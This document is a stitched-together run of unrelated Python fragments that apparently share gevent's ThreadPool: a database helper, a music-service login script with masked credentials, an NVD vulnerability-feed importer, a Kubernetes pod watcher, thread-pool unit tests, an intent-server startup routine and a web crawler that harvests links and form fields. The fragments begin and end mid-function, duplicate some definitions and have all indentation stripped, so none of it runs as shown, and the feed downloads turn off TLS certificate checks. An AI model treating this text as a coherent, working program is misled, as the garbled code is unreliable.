e = sys.exc_info()
logging.error('DB error %s', e[1], exc_info=True)
if conn:
conn.rollback()
c = 0
else:
conn.commit()
return c
return cls.tp.spawn(task, sql, *args).get()
@classmethod
def execute_async(cls, sql, *args):
def task(sql, *args):
logging.debug('executing async...')
conn = None
try:
conn = cls._connect()
cur = conn.cursor()
cur.execute(sql, *args)
except:
e = sys.exc_info()
logging.error('DB error %s', e[1], exc_info=True)
if conn:
conn.rollback()
else:
conn.commit()
cls.tp.spawn(task, sql, *args)
def test(self):
pool = ThreadPool(1)
pool.spawn(noop)
gevent.sleep(0)
pool.kill()
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author: betta
'''
netease music api
'''
from api import NetEase
import time
import gevent
from gevent.threadpool import ThreadPool
pool = ThreadPool(10)
# 考虑到歌单最多10000首歌，故采用多个歌单
wait_song_list = [644264533, 644752348, 644765343, 644738922, 644776005, 644749639, 644756477, 644818427, 644835023, 644810557,
644806753, 644811524, 644800922, 644793786]
# wait_song_list = [644810557, 644806753, 644811524, 644800922, 644793786]
back_song_list = [583517654, 431743699]
joker = NetEase()
user_info = {}
local_account = '*****@*****.**'
local_password = '******'
#local_account = '*****@*****.**'
#local_password = '******'
login_info = joker.login(local_account, local_password)
print login_info
class Upgrade(object):
def __init__(self, proxies=None, upgrade_interval_day='7d', http_timeout=15):
"""
:param proxies:
:param upgrade_interval_day:
:param http_timeout:
"""
self.http_timeout = int(http_timeout)
self.cve_path = paths.CVE_PATH
self.cve_cpe_db = paths.DB_FILE
self.cpe_file = os.path.join(self.cve_path, 'nvdcpematch-1.0.json')
interval_type = re.search(r'(\d+)(\w)', upgrade_interval_day)
if interval_type and interval_type.group(2) in ('d', 'h'):
if interval_type.group(2) == 'd':
self.upgrade_interval = 60 * 60 * 24 * int(interval_type.group(1))
elif interval_type.group(2) == 'h':
self.upgrade_interval = 60 * 60 * int(interval_type.group(1))
else:
self.upgrade_interval = 60 * 60 * 24 * 7
self.headers = {
"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
"accept-encoding": "gzip, deflate, br",
"accept-language": "en;q=0.9",
"connection": "keep-alive",
"user-agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108"
}
self.headers.update(conf['http']['headers'])
self.pool = ThreadPool(10)
logger.info('Proxies: {0}'.format(proxies))
self.proxies = proxies
def download_cpe_match_file(self):
"""
:return:
"""
try:
url = 'https://nvd.nist.gov/feeds/json/cpematch/1.0/nvdcpematch-1.0.json.gz'
logger.info('[DOWNLOAD] {0}'.format(url))
with requests.get(
url,
headers=self.headers,
stream=True,
proxies=self.proxies,
timeout=self.http_timeout,
verify=False
) as r:
r.raise_for_status()
with open('{0}.gz'.format(self.cpe_file), 'wb') as f:
for chunk in r.iter_content(chunk_size=8192):
if chunk:
f.write(chunk)
logger.info("Start extracting '{0}' files...".format(self.cve_path))
with gzip.open('{0}.gz'.format(self.cpe_file), 'rb') as f_in:
with open(self.cpe_file, 'wb') as f_out:
shutil.copyfileobj(f_in, f_out)
os.unlink('{0}.gz'.format(self.cpe_file))
except Exception as ex:
raise ex
def download_cve_file(self):
"""
:return:
"""
def download_file(year):
try:
cve_file = os.path.join(self.cve_path, 'nvdcve-1.1-{0}.json.gz'.format(year))
url = 'https://nvd.nist.gov/feeds/json/cve/1.1/nvdcve-1.1-{0}.json.gz'.format(year)
logger.info('[DOWNLOAD] {0}'.format(url))
with requests.get(
url,
headers=self.headers,
stream=True,
proxies=self.proxies,
timeout=self.http_timeout,
verify=False
) as r:
r.raise_for_status()
with open(cve_file, 'wb') as f:
for chunk in r.iter_content(chunk_size=8192):
if chunk:
f.write(chunk)
logger.info("Start extracting '{0}' files...".format(cve_file))
with gzip.open(cve_file, 'rb') as f_in:
with open(os.path.join(self.cve_path, 'nvdcve-1.1-{0}.json'.format(year)), 'wb') as f_out:
shutil.copyfileobj(f_in, f_out)
os.unlink(cve_file)
except Exception as ex:
raise ex
current_year = datetime.datetime.now().year
for i in range(2002, current_year + 1):
self.pool.spawn(download_file, i)
gevent.wait()
def cve_upgrade(self):
"""
:return:
"""
def get_problem_type(info):
"""
:return:
"""
result = ''
if 'problemtype_data' in info and info['problemtype_data']:
if 'description' in info['problemtype_data'][0] and info['problemtype_data'][0]['description']:
result = info['problemtype_data'][0]['description'][0]['value']
return result
def get_links(info):
"""
:return:
"""
result = []
if 'reference_data' in info and info['reference_data']:
for ref in info['reference_data']:
result.append(ref['url'])
return '\n'.join(result)
kb.db = MySQLHelper()
json_path = '{0}/nvdcve-1.1*.json'.format(self.cve_path)
json_list = glob.glob(json_path)
cve_list = []
for cve_file in json_list:
with open(cve_file, 'rb') as fp:
json_obj = json.load(fp)
for _ in json_obj['CVE_Items']:
if not _['configurations']['nodes']:
continue
cve = _['cve']['CVE_data_meta']['ID']
problemtype = get_problem_type(_['cve']['problemtype'])
year_re = re.search(r'CVE-(\d+)-\d+', cve, re.I)
year = year_re.group(1)
links = get_links(_['cve']['references'])
description = _['cve']['description']['description_data'][0]['value']
if 'cpe_match' not in _['configurations']['nodes'][0]:
if 'children' in _['configurations']['nodes'][0]:
if 'cpe_match' in _['configurations']['nodes'][0]['children'][0]:
cpe_match = _['configurations']['nodes'][0]['children'][0]['cpe_match']
else:
cpe_match = _['configurations']['nodes'][0]['cpe_match']
for item in cpe_match:
"""
cve, description, links, cvss_v2_severity, cvss_v2_impactscore, cvss_v3_impactscore
"""
v3 = _['impact']['baseMetricV3']['impactScore'] if 'baseMetricV3' in _['impact'] else ''
cve_list.append((
cve,
item['cpe23Uri'],
description,
links,
problemtype,
year,
_['impact']['baseMetricV2']['severity'],
_['impact']['baseMetricV2']['impactScore'],
v3,
))
if len(cve_list) % 1000000 == 0:
kb.db.create_cve_bulk(cve_list)
cve_list = []
if cve_list:
kb.db.create_cve_bulk(cve_list)
def cpe_upgrade(self):
"""
:return:
"""
kb.db = MySQLHelper()
with open(self.cpe_file, 'rb') as fp:
json_obj = json.load(fp)
obj_list = []
for cpes in json_obj['matches']:
cpe23_uri = cpes['cpe23Uri']
for item in cpes['cpe_name']:
cpe_part = cpe_parse(item['cpe23Uri'])
obj_list.append((
cpe_part["vendor"],
cpe_part["product"],
cpe_part["version"],
cpe_part["update"],
cpe23_uri,
cpe_part["edition"],
cpe_part["language"],
cpe_part["sw_edition"],
cpe_part["target_sw"],
cpe_part["target_hw"],
cpe_part["other"]
))
if len(obj_list) % 100000 == 0:
kb.db.create_cpe_bulk(obj_list)
obj_list = []
if obj_list:
kb.db.create_cpe_bulk(obj_list)
def start(self):
try:
s_time = time.time()
# self.download_cpe_match_file()
# self.download_cve_file()
self.cpe_upgrade()
self.cve_upgrade()
logger.info('total seconds: {0}'.format(time.time() - s_time))
except Exception as ex:
import traceback;
traceback.print_exc()
logger.error(ex)
class K8SPodsIPWatcher(object):
"""
Pods watcher class, compatible with SchedulerDiscoverer
"""
dynamic = True
def __init__(self, k8s_config=None, k8s_namespace=None):
from kubernetes import config, client
from gevent.threadpool import ThreadPool
if k8s_config is not None:
self._k8s_config = k8s_config
elif os.environ.get('KUBE_API_ADDRESS'):
self._k8s_config = client.Configuration()
self._k8s_config.host = os.environ['KUBE_API_ADDRESS']
else:
self._k8s_config = config.load_incluster_config()
verify_ssl = bool(int(os.environ.get('KUBE_VERIFY_SSL', '1').strip('"')))
if not verify_ssl:
c = client.Configuration()
c.verify_ssl = False
client.Configuration.set_default(c)
self._k8s_namespace = k8s_namespace or os.environ.get('MARS_K8S_POD_NAMESPACE') or 'default'
self._full_label_selector = None
self._client = client.CoreV1Api(client.ApiClient(self._k8s_config))
self._pool = ThreadPool(1)
self._service_pod_to_ep = dict()
def __reduce__(self):
return type(self), (self._k8s_config, self._k8s_namespace)
def _get_label_selector(self, service_type):
if self._full_label_selector is not None:
return self._full_label_selector
selectors = [f'mars/service-type={service_type}']
if 'MARS_K8S_GROUP_LABELS' in os.environ:
group_labels = os.environ['MARS_K8S_GROUP_LABELS'].split(',')
cur_pod_info = self._pool.spawn(self._client.read_namespaced_pod,
os.environ['MARS_K8S_POD_NAME'],
namespace=self._k8s_namespace).result().to_dict()
for label in group_labels:
label_val = cur_pod_info['metadata']['labels'][label]
selectors.append(f'{label}={label_val}')
self._full_label_selector = ','.join(selectors)
logger.debug('Using pod selector %s', self._full_label_selector)
return self._full_label_selector
def _extract_pod_name_ep(self, pod_data):
pod_ip = pod_data["status"].get("podIP") or pod_data["status"].get("pod_ip")
ports_def = pod_data['spec']['containers'][0]['ports'][0]
svc_port = ports_def.get('containerPort') or ports_def.get('container_port')
return pod_data['metadata']['name'], f'{pod_ip}:{svc_port}'
@staticmethod
def _extract_pod_ready(obj_data):
return obj_data['status']['phase'] == 'Running'
def _get_pod_to_ep(self, service_type):
query = self._pool.spawn(
self._client.list_namespaced_pod,
namespace=self._k8s_namespace,
label_selector=self._get_label_selector(service_type)
).result().to_dict()
result = dict()
for el in query['items']:
name, pod_ep = self._extract_pod_name_ep(el)
if pod_ep is not None and not self._extract_pod_ready(el):
pod_ep = None
result[name] = pod_ep
return result
def _get_endpoints_by_service_type(self, service_type, update=False):
if not self._service_pod_to_ep.get(service_type) or update:
self._service_pod_to_ep[service_type] = self._get_pod_to_ep(service_type)
return sorted(a for a in self._service_pod_to_ep[service_type].values() if a is not None)
def get_schedulers(self, update=False):
from .config import MarsSchedulersConfig
if "MARS_CLUSTER_DETAIL" in os.environ:
cluster = json.loads(os.getenv("MARS_CLUSTER_DETAIL"))
sched_endpoints = [ep for ep in list(cluster["scheduler"]) if requests.get(ep).ok]
self._service_pod_to_ep[MarsSchedulersConfig.rc_name] = sched_endpoints
return sorted(sched_endpoints)
return self._get_endpoints_by_service_type(MarsSchedulersConfig.rc_name, update=update)
def is_all_schedulers_ready(self):
from .config import MarsSchedulersConfig
self.get_schedulers(True)
pod_to_ep = self._service_pod_to_ep[MarsSchedulersConfig.rc_name]
if not pod_to_ep:
return False
return all(a is not None for a in pod_to_ep.values())
def _watch_service(self, service_type, linger=10):
from urllib3.exceptions import ReadTimeoutError
from kubernetes import watch
cur_pods = set(self._get_endpoints_by_service_type(service_type, update=True))
w = watch.Watch()
pod_to_ep = self._service_pod_to_ep[service_type]
while True:
# when some pods are not ready, we refresh faster
linger_seconds = linger() if callable(linger) else linger
streamer = w.stream(
self._client.list_namespaced_pod,
namespace=self._k8s_namespace,
label_selector=self._get_label_selector(service_type),
timeout_seconds=linger_seconds
)
while True:
try:
event = self._pool.spawn(next, streamer, StopIteration).result()
if event is StopIteration:
raise StopIteration
except (ReadTimeoutError, StopIteration):
new_pods = set(self._get_endpoints_by_service_type(service_type, update=True))
if new_pods != cur_pods:
cur_pods = new_pods
yield self._get_endpoints_by_service_type(service_type, update=False)
break
except: # noqa: E722 # pragma: no cover # pylint: disable=bare-except
logger.exception('Unexpected error when watching on kubernetes')
break
obj_dict = event['object'].to_dict()
pod_name, endpoint = self._extract_pod_name_ep(obj_dict)
pod_to_ep[pod_name] = endpoint \
if endpoint and self._extract_pod_ready(obj_dict) else None
yield self._get_endpoints_by_service_type(service_type, update=False)
def watch_schedulers(self):
from .config import MarsSchedulersConfig
return self._watch_service(MarsSchedulersConfig.rc_name)
def watch_workers(self):
from .config import MarsWorkersConfig
return self._watch_service(MarsWorkersConfig.rc_name)
def rescale_workers(self, new_scale):
from .config import MarsWorkersConfig
self._client.patch_namespaced_replication_controller_scale(
MarsWorkersConfig.rc_name, self._k8s_namespace, {"spec": {"replicas": new_scale}}
)
class TestJoinEmpty(TestCase):
switch_expected = False
def test(self):
self.pool = ThreadPool(1)
self.pool.join()
def test(self):
self.pool = ThreadPool(3)
self.assertRaises(greentest.ExpectedException, self.pool.map,
lambda x: None, error_iter())
gevent.sleep(0.001)
class TestPool(TestCase):
__timeout__ = 5
size = 1
def setUp(self):
greentest.TestCase.setUp(self)
self.pool = ThreadPool(self.size)
def test_apply(self):
papply = self.pool.apply
self.assertEqual(papply(sqr, (5, )), sqr(5))
self.assertEqual(papply(sqr, (), {'x': 3}), sqr(x=3))
def test_map(self):
pmap = self.pool.map
self.assertEqual(pmap(sqr, range(10)), list(map(sqr, range(10))))
self.assertEqual(pmap(sqr, range(100)), list(map(sqr, range(100))))
def test_async(self):
res = self.pool.apply_async(sqr, (
7,
TIMEOUT1,
))
get = TimingWrapper(res.get)
self.assertEqual(get(), 49)
self.assertAlmostEqual(get.elapsed, TIMEOUT1, 1)
def test_async_callback(self):
result = []
res = self.pool.apply_async(sqr, (
7,
TIMEOUT1,
),
callback=lambda x: result.append(x))
get = TimingWrapper(res.get)
self.assertEqual(get(), 49)
self.assertAlmostEqual(get.elapsed, TIMEOUT1, 1)
gevent.sleep(0) # let's the callback run
assert result == [49], result
def test_async_timeout(self):
res = self.pool.apply_async(sqr, (6, TIMEOUT2 + 0.2))
get = TimingWrapper(res.get)
self.assertRaises(gevent.Timeout, get, timeout=TIMEOUT2)
self.assertAlmostEqual(get.elapsed, TIMEOUT2, 1)
self.pool.join()
def test_imap(self):
it = self.pool.imap(sqr, range(10))
self.assertEqual(list(it), list(map(sqr, range(10))))
it = self.pool.imap(sqr, range(10))
for i in range(10):
self.assertEqual(six.advance_iterator(it), i * i)
self.assertRaises(StopIteration, lambda: six.advance_iterator(it))
it = self.pool.imap(sqr, range(1000))
for i in range(1000):
self.assertEqual(six.advance_iterator(it), i * i)
self.assertRaises(StopIteration, lambda: six.advance_iterator(it))
def test_imap_random(self):
it = self.pool.imap(sqr_random_sleep, range(10))
self.assertEqual(list(it), list(map(sqr, range(10))))
def test_imap_unordered(self):
it = self.pool.imap_unordered(sqr, range(1000))
self.assertEqual(sorted(it), list(map(sqr, range(1000))))
it = self.pool.imap_unordered(sqr, range(1000))
self.assertEqual(sorted(it), list(map(sqr, range(1000))))
def test_imap_unordered_random(self):
it = self.pool.imap_unordered(sqr_random_sleep, range(10))
self.assertEqual(sorted(it), list(map(sqr, range(10))))
def test_terminate(self):
result = self.pool.map_async(sleep, [0.1] * ((self.size or 10) * 2))
gevent.sleep(0.1)
kill = TimingWrapper(self.pool.kill)
kill()
assert kill.elapsed < 0.5, kill.elapsed
result.join()
def sleep(self, x):
sleep(float(x) / 10.)
return str(x)
def test_imap_unordered_sleep(self):
# testing that imap_unordered returns items in competion order
result = list(self.pool.imap_unordered(self.sleep, [10, 1, 2]))
if self.pool.size == 1:
expected = ['10', '1', '2']
else:
expected = ['1', '2', '10']
self.assertEqual(result, expected)
def test_apply(self):
self.pool = pool = ThreadPool(1)
result = pool.apply(lambda a: ('foo', a), (1, ))
self.assertEqual(result, ('foo', 1))
def setUp(self):
greentest.TestCase.setUp(self)
self.pool = ThreadPool(self.size)
def _start(self):
try:
max_queue_size = self.config["queue_max_size"]
except:
max_queue_size = 1000
self.gevent_queue = Queue(max_queue_size)
self.intent_handler = IntentHandler(self.logger, self.config)
self.greenlet = Greenlet.spawn(
self.intent_handler.executeQueuedRequests, self.gevent_queue,
self.api.handle_request_indication)
self.logger.info("started greenlet")
if self.config.get("enable_intent"):
self.logger.info("starting intent server")
from server import IntentServer
self.intent_server = IntentServer(
self.api.handle_request_indication, self.gevent_queue,
self.config, self.logger)
self.gevent_threadpool = ThreadPool(1)
self.gevent_threadpool_worker = self.gevent_threadpool.spawn(
self.intent_server.start)
#self.intent_server.start()
from .activate import PA_Activation
pa_activation = PA_Activation(self.config, self.logger)
pa_activation.start()
for endpoint in self.config["endpoints"]:
self.api.register_endpoint(
endpoint["personality"],
"%s://%s" % ("intent", endpoint["interface"]))
if self.config.get("enable_test"):
from .test import test_read_params, test_create_app, test_create_app_property, test_subscribe_pushed_data, test_push_data, test_destroy_app, test_subscribe_apps_with_search_str
from .test import test_create_app_with_search_str, test_discover_apps_with_search_str, test_get_app, test_get_all_properties, test_get_latest_data_of_property
contact = "intent://intent_test/m2m"
from .test_retarget import test_retarget
test_retarget(self.api.handle_request_indication, self.logger,
self.config, "retrieve", "/m2m")
# contact = "http://localhost:8080"
test_read_params(self.api.handle_request_indication, self.logger,
self.config)
self.logger.info(
"============================================================")
# test_create_app(self.api.handle_request_indication, self.logger, self.config, "myApp")
self.logger.info(
"============================================================")
# test_create_app_property(self.api.handle_request_indication, self.logger, self.config, "myApp", "myProperty")
self.logger.info(
"============================================================")
# test_subscribe_pushed_data(self.api.handle_request_indication, self.logger, self.config, "myApp", "myProperty", contact)
self.logger.info(
"============================================================")
# test_push_data(self.api.handle_request_indication, self.logger, self.config, "myApp", "myProperty")
self.logger.info(
"============================================================")
# test_get_all_properties(self.api.handle_request_indication, self.logger, self.config, "myApp")
self.logger.info(
"============================================================")
# test_get_latest_data_of_property(self.api.handle_request_indication, self.logger, self.config, "myApp", "myProperty")
self.logger.info(
"============================================================")
# test_destroy_app(self.api.handle_request_indication, self.logger, self.config, "myApp")
self.logger.info(
"============================================================")
# test_subscribe_apps_with_search_str(self.api.handle_request_indication, self.logger, self.config, "healthDevice", contact)
test_subscribe_apps_with_search_str(
self.api.handle_request_indication, self.logger, self.config,
None, contact)
self.logger.info(
"============================================================")
# test_create_app_with_search_str(self.api.handle_request_indication, self.logger, self.config, "myApp", "healthDevice")
# test_create_app_with_search_str(self.api.handle_request_indication, self.logger, self.config, "myApp", None)
self.logger.info(
"============================================================")
# test_discover_apps_with_search_str(self.api.handle_request_indication, self.logger, self.config, "healthDevice", "intent://test_action")
self.logger.info(
"============================================================")
# test_get_app(self.api.handle_request_indication, self.logger, self.config, "myApp", "intent://test_action")
self.logger.info(
"============================================================")
# test_destroy_app(self.api.handle_request_indication, self.logger, self.config, "myApp")
self.logger.info(
"============================================================")
self._started()
class Crawler(object):
def __init__(self, baseurl, threads=1, timeout=10, sleep=5):
self.baseurl = baseurl
self.threads = threads
self.timeout = timeout
self.sleep = sleep
self.pool = ThreadPool(self.threads)
self.Queue = queue.Queue()
self.block = set()
self.flag = 0
self.isstop = False
@PluginManage.test
def addreq(self, req):
print("GET %s" % req.url)
print('\r')
self.Queue.put(req)
def urljoin(self, url):
block = ('http://', 'https://', 'file://', 'javascript:', '#',
'mailto:')
if url:
if url.startswith(self.baseurl):
return url
elif url.startswith('/') and not url.startswith('//'):
return '%s%s' % (self.baseurl, url)
elif not url.lower().strip().startswith(block):
return '%s/%s' % (self.baseurl, url)
def isback(self, req):
if req not in self.block:
self.block.add(req)
self.addreq(req)
def run(self, req):
try:
response = req.request()
except requests.ConnectionError:
gevent.sleep(self.sleep)
content_type = response.headers.get('content-type')
if "html" in content_type:
self.htmlparse(response.text)
elif "text" in content_type \
or "json" in content_type \
or "javascript" in content_type:
self.textparse(response.text)
else:
pass
def start(self):
self.run(Request(self.baseurl))
while True and self.flag <= 60 * 5: #5分钟后还没有任务加进来就当爬完了
try:
req = self.Queue.get(block=False)
except queue.Empty:
gevent.sleep(1)
print(self.flag)
self.flag += 1
else:
self.pool.spawn(self.run, req)
gevent.wait(timeout=self.timeout)
self.isstop = True
def textparse(self, response):
urls = []
re_url = (
"(http[s]?://(?:[-a-zA-Z0-9_]+\.)+[a-zA-Z]+(?::\d+)?(?:/[-a-zA-Z0-9_%./]+)*\??[-a-zA-Z0-9_&%=.]*)"
)
urls += re.findall(re_url, response)
for url in urls:
url = self.urljoin(url)
if url:
req = Request(url)
self.isback(req)
def htmlparse(self, response):
href_tags = {"a", "link", "area"}
src_tags = {
"form", "script", "img", "iframe", "frame", "embed", "source",
"track"
}
param_names = {"movie", "href", "link", "src", "url", "uri"}
for tag in BeautifulSoup(response, "html.parser").findAll():
url = None
data = {}
name = tag.name.lower()
if name in href_tags:
url = tag.get("href", None)
elif name in src_tags:
url = tag.get("src", None)
elif name == "param":
name = tag.get("name", "").lower().strip()
if name in param_names:
url = tag.get("value", None)
elif name == "object":
url = tag.get("data", None)
elif name == "applet":
url = tag.get("code", None)
elif name == "meta":
name = tag.get("name", "").lower().strip()
if name == "http-equiv":
content = tag.get("content", "")
p = content.find(";")
if p >= 0:
url = content[p + 1:]
elif name == "base":
url = tag.get("href", None)
#for post fomm
if name == "form":
action = tag.get('action', '')
method = tag.get('method', 'GET').upper()
data = {}
#Process <input type="test" name="...
for m in tag.findAll('input', {'name': True, 'type': 'text'}):
value = m.get('value', '')
data[m['name']] = value
#Process <input type="password" name="...
for m in tag.findAll('input', {
'name': True,
'type': 'password'
}):
value = m.get('value', '')
data[m['name']] = value
#Process <input type="submit" name="...
for m in tag.findAll('input', {
'name': True,
'type': 'submit'
}):
value = m.get('value', '')
data[m['name']] = value
#Process <input type="hidden" name="...
for m in tag.findAll('input', {
'name': True,
'type': 'hidden'
}):
value = m.get('value', '')
data[m['name']] = value
#Process <input type="checkbox" name="...
for m in tag.findAll('input', {
'name': True,
'type': 'checkbox'
}):
value = m.get('value', '')
data[m['name']] = value
#Process <input type="radio" name="...
listRadio = []
for m in tag.findAll('input', {'name': True, 'type': 'radio'}):
if not m['name'] in listRadio:
listRadio.append(m['name'])
value = m.get('value', '')
data[m['name']] = value
#Process <textarea name="...
for m in tag.findAll('textarea', {'name': True}):
data[m['name']] = m.contents[0]
#Process <select name="...
for m in tag.findAll('select', {'name': True}):
if len(m.findAll('option', value=True)) > 0:
name = m['name']
data[name] = m.findAll('option',
value=True)[0]['value']
url = self.urljoin(url)
if url:
req = Request(url, data)
self.isback(req)
